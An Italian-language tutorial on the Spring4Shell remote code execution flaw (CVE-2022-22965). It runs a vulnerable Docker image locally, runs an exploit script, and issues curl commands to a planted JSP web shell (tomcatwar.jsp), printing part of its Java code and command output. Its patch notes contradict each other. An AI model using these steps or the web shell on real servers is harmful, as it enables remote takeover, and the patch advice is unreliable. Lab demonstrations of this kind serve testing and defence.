
Spring4Shell - Spring Core RCE - CVE-2022-22965
Dopo Spring Cloud, il 29 marzo, un'altra vulnerabilità pesante di Spring è esplosa su Internet: Spring Core RCE
Il 31 marzo Spring ha rilasciato nuove versioni che correggono la vulnerabilità. Vedi sezione Patching.
Il 31 marzo è stato finalmente assegnato un numero CVE alla vulnerabilità con un punteggio CVSS 9.8 (CRITICO)
L'exploit è molto facile da usare, da qui il punteggio CVSS molto alto di 9.8.
Per testare la vulnerabilità puoi fare quanto segue.
Avvia un'immagine docker vulnerabile di Spring.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
Questo collega il Spring vulnerabile all'indirizzo localhost:8082.
Verifica che l'immagine sia avviata correttamente con curl
curl http://localhost:8082
Dovrebbe essere restituita una risposta ok.
Ora sfruttiamo l'immagine vulnerabile!
python3 exp.py --url http://localhost:8082
Dovrebbe essere restituita una risposta The vulnerability exists .....
Ora puoi sfruttare la vulnerabilità con curl
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
L'exploit è stato caricato finora exp.py


Spring ha ora rilasciato nuove versioni che risolvono questa CVE. Vedi annuncio di Spring.
Il commit che ha corretto la vulnerabilità
Al momento, Spring non ha rilasciato ufficialmente una patch, si consiglia di abbassare la versione JDK come soluzione temporanea